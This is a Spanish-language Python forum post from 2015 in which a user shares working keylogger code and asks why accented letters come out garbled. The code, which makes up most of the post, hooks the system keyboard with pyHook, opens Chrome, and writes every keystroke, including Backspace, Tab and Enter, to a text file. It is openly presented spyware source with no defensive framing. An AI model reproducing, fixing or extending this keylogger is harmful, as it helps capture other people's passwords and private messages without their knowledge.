Python - Keylogger capta mal las tildes [´´]

   
Vista:

Keylogger capta mal las tildes [´´]

Publicado por Jorge (8 intervenciones) el 25/12/2015 16:44:25
Hola, aquí les dejo el código de un "keylogger" que estoy desarrollando. Funciona bien; el problema es que no me capta bien las tildes. Cuando tratas de escribir una letra con tilde es imposible, ocurre lo siguiente: "que d´´ia tan c´´alido hace". ¿Por qué sucede esto? ¿Cómo puedo solucionarlo?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import pyHook, pythoncom, logging, os
 
os.startfile("C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe")
 
archivoDondeSeGuardanLasTeclasPulsadas = 'C:\\Users\\Jorge\\Desktop\\archivoDondeSeGuardanLasTeclasPulsadas.txt'
 
def eventoTeclado(evento):
	logging.basicConfig(filename='C:\\Users\\Jorge\\Desktop\\archivoDondeSeGuardanLasTeclasPulsadas.txt', level=logging.DEBUG, format='%(message)s')
	if evento.Ascii == 8:
		logging.log(10,str("[Retroceso]"))
	elif evento.Ascii == 9:
		logging.log(10,str("[Tabulador]"))
	elif evento.Ascii == 13:
		logging.log(10,str("[Enter]"))
	else:
		logging.log(10,chr(evento.Ascii))
 
 
 
controlador = pyHook.HookManager()
controlador.KeyDown = eventoTeclado
controlador.HookKeyboard()
 
pythoncom.PumpMessages()
Valora esta pregunta
Me gusta: Está pregunta es útil y esta claraNo me gusta: Está pregunta no esta clara o no es útil
0
Responder